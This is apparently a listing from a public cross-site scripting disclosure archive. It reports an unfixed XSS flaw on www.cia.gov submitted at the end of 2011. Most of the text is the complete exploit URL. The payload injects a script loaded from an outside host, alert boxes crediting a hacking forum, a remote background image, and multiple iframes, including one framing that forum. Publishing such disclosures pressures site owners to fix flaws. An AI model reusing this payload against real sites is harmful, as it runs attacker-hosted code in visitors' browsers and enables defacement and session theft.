Security researcher Sony, has submitted on 31/12/2011 a cross-site-scripting (XSS) vulnerability affecting www.cia.gov, which at the time of submission ranked 9709 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/01/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 31/12/2011 |
Date published: 09/01/2012 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Sony |
Domain: www.cia.gov |
Category: XSS |
Pagerank: 9709 |
|---|
URL: https://www.cia.gov/cgi-bin/forlang_form.cgi?submit=Send&sender=%22%22%3E%3Cscript%20src=%27http://a
stuforum.free.fr/js/neige_lettre.js%27%3E%3C/script%3E%3Cscript%3Ealert%28%222012%22%29%3C/script%3E
%3Cscript%3Ealert%28%22Holy%20Shit!%29%22%29%3C/script%3E%3Cscript%3Ealert%28%22Happy%20New%20Year!%
29%22%29%3C/script%3E%3Cscript%3Ealert%28%22by%20Sony%20for%20Hackzona.ru%29%22%29%3C/script%3E%3Cbo
dy%20background=%22http://i42.tinypic.com/29fsgt3.gif%22%3E%3Ciframe%20width=%22420%22%20height=%223
15%22%20src=%22http://www.youtube.com/embed/VJ5DkRX3vP0%22%20frameborder=%220%22%20allowfullscreen%3
E%3C/iframe%3E%3Ciframe%20width=%22420%22%20height=%22315%22%20src=%22http://www.youtube.com/embed/j
JzjXergh2Y%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E%3Ciframe%20width=%22420%22%20h
eight=%22315%22%20src=%22http://www.youtube.com/embed/Z41hA1CfL5I%22%20frameborder=%220%22%20allowfu
llscreen%3E%3C/iframe%3E%3Ciframe%20width=%22420%22%20height=%22315%22%20src=%22http://www.youtube.c
om/embed/ErMemexuWXM%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E%3Ciframe%20width=%22
420%22%20height=%22315%22%20src=%22http://www.youtube.com/embed/Sef8R0il7XU%22%20frameborder=%220%22
%20allowfullscreen%3E%3C/iframe%3E%3Ciframe%20width=%22420%22%20height=%22315%22%20src=%22http://www
.youtube.com/embed/fIc08Hm_jL4%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E%3Ciframe%2
0src=%22http://forum.hackzona.ru/%22%20width=%221000%22%20height=%221000%22%3E%3C/iframe%3E |
|
Click here to view the mirror
|
|
|
| 
